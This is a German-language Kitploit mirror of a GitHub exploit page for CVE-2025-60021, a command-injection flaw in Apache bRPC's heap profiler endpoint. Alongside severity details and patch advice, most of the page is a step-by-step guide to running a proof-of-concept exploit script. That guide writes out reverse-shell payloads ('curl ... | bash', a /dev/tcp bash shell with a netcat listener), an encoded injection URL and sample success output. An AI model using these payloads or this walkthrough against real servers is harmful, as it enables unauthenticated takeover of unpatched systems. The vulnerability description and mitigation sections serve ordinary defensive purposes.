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Ashwesker-CVE-2025-60021 — CVE-2025-60021 | Kitploit
Tools/GitHubGitHub/mefhika120/ashwesker-cve-2025-60021
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GitHubmefhika120/ashwesker-cve-2025-60021

Ashwesker-CVE-2025-60021

CVE-2025-60021

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🛑 CVE-2025-60021 — Remote-Befehlsinjektion in Apache bRPC

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📌 Überblick

CVE-2025-60021 ist eine kritische Remote-Befehlsinjektions-Schwachstelle im integrierten Heap-Profiler-Dienst (/pprof/heap) von Apache bRPC in Versionen vor 1.15.0, die es nicht authentifizierten Angreifern ermöglicht, beliebige Betriebssystembefehle auszuführen. (NVD)


🔓 Schwachstellendetails

AttributInformationen
Name / IDCVE-2025-60021
ProduktApache bRPC (alle Plattformen)
Betroffene Versionen< 1.15.0
Veröffentlichungsdatum16. Januar 2026 (NVD)
SchwachstellentypRemote-Befehlsinjektion (CWE-77) (NVD)
Endpunkt/pprof/heap
AuslöserUnbereinigter extra_options-Parameter
UrsacheEingabe wird vor der Ausführung als Betriebssystembefehl nicht validiert (openwall.com)

❗Angreifer können durch bloßes Manipulieren dieses Profiling-Parameters remote Befehle einschleusen.


🚨 Schweregrad & Risiko

🔥 Schweregrad: Kritisch 📊 CVSS v3.1-Basiswert: 9,8 / 10 Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (INCIBE)

👉 Das bedeutet, Angreifer können ohne Anmeldung remote beliebige Befehle ausführen – ein Worst-Case-Szenario für exponierte Dienste.


🧠 Technische Aufschlüsselung

🔍 Wie es funktioniert

  1. Heap-Profiler-Exposition: bRPC stellt einen Profiling-Endpunkt (/pprof/heap) bereit, der für die Speicheranalyse (jemalloc) gedacht ist. (openwall.com)
  2. Fehler bei der Eingabebehandlung: Der Endpunkt akzeptiert einen extra_options-Parameter. Statt ihn zu bereinigen, übergibt bRPC ihn direkt an die Betriebssystem-Shell. (openwall.com)
  3. Befehlsinjektion: Ein Angreifer erstellt eine Eingabe, die Systembefehle enthält → der Dienst führt sie aus. (CVE Details)

Schritt-für-Schritt-Anleitung zur Verwendung des CVE-2025-60021-PoC-Skripts

Dies setzt voraus, dass du das Skript als CVE-2025-60021.py gespeichert hast (auch wenn die echte CVE die 2025-60021 ist – du kannst es gerne umbenennen). Es ist ein Python-3-Skript zur Demonstration der Remote-Befehlsinjektions-Schwachstelle im Heap-Profiler von Apache bRPC. Führe es nur auf Systemen aus, die dir gehören oder für die du eine ausdrückliche schriftliche Testgenehmigung hast – Ausnutzung ohne Autorisierung ist illegal.

Voraussetzungen

  1. Python-Umgebung: Stelle sicher, dass Python 3 installiert ist (z. B. 3.6+). Das Skript verwendet eingebaute Module sowie requests und argparse (die Standard sind bzw. einfach zu installieren).

  2. Abhängigkeiten installieren: Falls noch nicht vorhanden, installiere die requests-Bibliothek:

    root@kitploit:~
    pip install requests
    
  3. Ziel einrichten: Du benötigst einen verwundbaren Apache-bRPC-Server:

    • Version < 1.15.0.
    • Heap-Profiler aktiviert (prüfe die Serverkonfiguration; in Entwicklungsumgebungen ist er oft standardmäßig aktiviert).
    • Über das Netzwerk erreichbar (z. B. http://localhost:8060 oder eine entfernte IP/Port). Wenn du lokal testest, richte eine verwundbare bRPC-Instanz ein (z. B. über Docker oder einen Quellcode-Build – siehe Apache-bRPC-Dokumentation).
  4. Berechtigungen: Verwende sudo nur, wenn es für den Netzwerkzugriff oder Berechtigungen nötig ist; andernfalls reicht einfaches python3.

Schritt 1: Skript speichern

Kopiere den zuvor bereitgestellten PoC-Code in eine Datei mit dem Namen CVE-2025-60021.py. Mache sie bei Bedarf ausführbar:

root@kitploit:~
chmod +x CVE-2025-60021.py

Schritt 2: Argumente verstehen

Das Skript benötigt zwei positionsbasierte Pflichtargumente:

  • target: Die URL des verwundbaren bRPC-Servers (z. B. http://192.168.1.100:8060 oder http://targets:8060 – korrigiere Tippfehler wie fehlendes Schema oder ungültigen Host).
  • cmd: Der Befehl, der auf dem Ziel ausgeführt werden soll (z. B. "id" für Benutzerinformationen oder etwas Komplexeres wie "curl http://your-server/reverse-shell.sh | bash" für eine Reverse Shell). Verwende && oder ;, um mehrere Befehle zu verketten.

Schritt 3: Skript ausführen

Öffne ein Terminal (z. B. in Kali Linux, da du das verwendest) und führe es mit deinem Ziel und Befehl aus. Beispielbefehle:

  • Basistest (Systeminformationen abrufen):

    root@kitploit:~
    sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
    
  • Reverse-Shell-Beispiel (ersetze your-listener-ip und Port; richte zuerst einen Listener wie nc -lvnp 4444 ein):

    root@kitploit:~
    sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
    
  • Wenn du HTTPS oder einen anderen Port verwendest, passe die URL entsprechend an (z. B. https://target:443 – das Skript kommt damit klar, aber füge bei Zertifikatsproblemen --insecure hinzu).

Schritt 4: Ausgabe interpretieren

Erfolgsindikatoren:

  • Exploit wahrscheinlich erfolgreich! (200 OK)
  • Mögliche Befehlsausgabe im Antwortkörper (z. B. uid=0(root)..., wenn id ausgeführt wurde).
  • Bei Befehlen ohne Ausgabe (z. B. Dateioperationen oder Shells) prüfe den Zielserver (Logs, Prozesse) oder deinen Listener.

Fehlerindikatoren (wie du sie gesehen hast):

  • Statuscode 404 erhalten – vielleicht nicht verwundbar?
  • Fehlermeldungen wie "[E1002] Heap profiler is not enabled" bedeuten, dass der Endpunkt nicht aktiv ist – aktiviere ihn auf dem Ziel oder finde eine andere verwundbare Instanz.
  • Timeouts oder Verbindungsfehler: Ziel nicht erreichbar, Firewall blockiert oder falscher Port.
  • Wenn keine Ausgabe durchsickert, wird der Befehl trotzdem still auf dem Server ausgeführt.

Schritt 5: Häufige Probleme beheben

  • 404-Fehler: Heap-Profiler deaktiviert. Aktiviere ihn in der bRPC-Konfiguration (z. B. --enable_heap_profiler=true) und starte den Server neu.
  • Argparse-Fehler: Das cmd-Argument vergessen – immer mit angeben.
  • Keine Antwortkörper-Ausgabe: Manche Befehle erzeugen keine Standardausgabe. Verwende solche, die eine erzeugen (z. B. echo "test" > /tmp/proof.txt) und prüfe die Datei auf dem Ziel.
  • Berechtigungen: Wenn der bRPC-Prozess nicht als root läuft, sind Befehle auf die Rechte dieses Benutzers beschränkt.
  • Payload-Anpassungen: Wenn ; nicht funktioniert, versuche && oder | zum Verketten. Kodiere Sonderzeichen bei Bedarf per URL-Encoding (das Skript erledigt das meiste).
  • Lokales Testen: Starte einen verwundbaren Docker-Container für bRPC, um ohne Risiko für echte Systeme zu testen.

Schritt 6: Bereinigung und ethische Hinweise

  • Patche das Ziel nach dem Test: Upgrade auf bRPC 1.15.0+ oder deaktiviere /pprof/heap.
  • Lösche alle Artefakte (z. B. Shells oder erstellte Dateien).
  • Protokolliere deine Tests für Compliance, wenn du Pentests durchführst.

Wenn der Exploit auf einem verwundbaren Ziel erfolgreich war (z. B. Heap-Profiler aktiviert, ungepatchtes bRPC < 1.15.0), würde die Ausgabe in deinem Terminal ungefähr so aussehen (die genauen Details hängen von der Standardausgabe des Befehls und der Serverkonfiguration ab):

root@kitploit:~
[*] Sending payload to: http://targets:8060/pprof/heap?extra_options=%3B+id+%26%26+whoami+%26%26+uname+-a+%23
[*] Executing command: id && whoami && uname -a
[+] Exploit likely succeeded! (200 OK)
[+] Check your listener / server logs for output

Response body (possible command output):

uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
user
Linux target-host 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-29) x86_64 GNU/Linux

[followed by heap profile data or binary-ish output from jemalloc, like memory stats or a dump]

Die wichtigsten Anzeichen: 200-OK-Status, und wenn dein Befehl (wie id && whoami && uname -a) eine Ausgabe erzeugt, könnte diese im Antwortkörper erscheinen (vermischt mit Profiler-Datenmüll). Bei stillen Befehlen (z. B. Reverse Shell) prüfe den Zielserver oder deinen Listener auf Aktivität – es gibt keine direkte Terminalbestätigung über die 200 hinaus. 😈


🛠 Gegenmaßnahmen & Fixes

✅ Primäre Lösung

  • 👉 Apache bRPC auf Version 1.15.0 oder neuer aktualisieren. (NVD)

🧩 Alternativer Fix

  • 🛠 Offiziellen Patch manuell aus dem Apache-bRPC-GitHub-Repository anwenden (Pull Request #3101). (openwall.com)

🔒 Zusätzliche Schutzmaßnahmen

  • Firewall / ACLs: Zugriff auf /pprof/heap aus nicht vertrauenswürdigen Netzwerken blockieren.
  • Profiling deaktivieren: Heap-Profiling dort ausschalten, wo es nicht benötigt wird.
  • Logs überwachen: Auf ungewöhnliche Profiler-Aktivitäten achten.

💡 Warum das gefährlich ist

✔ Angreifer brauchen keine Zugangsdaten. ✔ Es funktioniert über das Netzwerk. ✔ Es betrifft alle Plattformen, die verwundbares bRPC verwenden. ✔ Es kann zu vollständiger Systemkompromittierung führen.

Unternehmen, die bRPC für kritische Dienste (z. B. Suche, Speicherung, Machine-Learning-Pipelines) einsetzen, sind besonders gefährdet, weil dieser Fehler ein Diagnosewerkzeug in einen Angriffsvektor verwandelt. (Daily CyberSecurity)


🧾 Zusätzliche Hinweise

⚠ EPSS (Exploit Prediction): Einige Feeds deuten auf bisher geringe Exploit-Beobachtung hin, aber die einfache Ausnutzbarkeit bedeutet, dass sie schnell in echten Angriffen genutzt werden könnte. (Tenable®)

📌 Klassifizierung: CWE-77 — Nicht ordnungsgemäße Neutralisierung spezieller Elemente in einem Befehl (Befehlsinjektion). (NVD)


📎 Referenzen

  • NIST/NVD-Sicherheitseintrag für CVE-2025-60021 (NVD)
  • Apache & Openwall Security Advisory-Details (openwall.com)
  • INCIBE-CERT CVSS- und Metrik-Aufschlüsselung (INCIBE)
  • CVE Details-Übersicht (betroffene Versionen und Fix-Anleitung) (CVE Details)

Wenn du Apache bRPC in der Produktion betreibst — sofort patchen und den Zugriff auf Diagnose-Endpunkte einschränken, um das Risiko zu reduzieren.

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AuswirkungskategorieAuswirkung
VertraulichkeitHoch
IntegritätHoch
VerfügbarkeitHoch
AngriffsvektorNetzwerk
BerechtigungenKeine erforderlich
BenutzerinteraktionKeine nötig(INCIBE)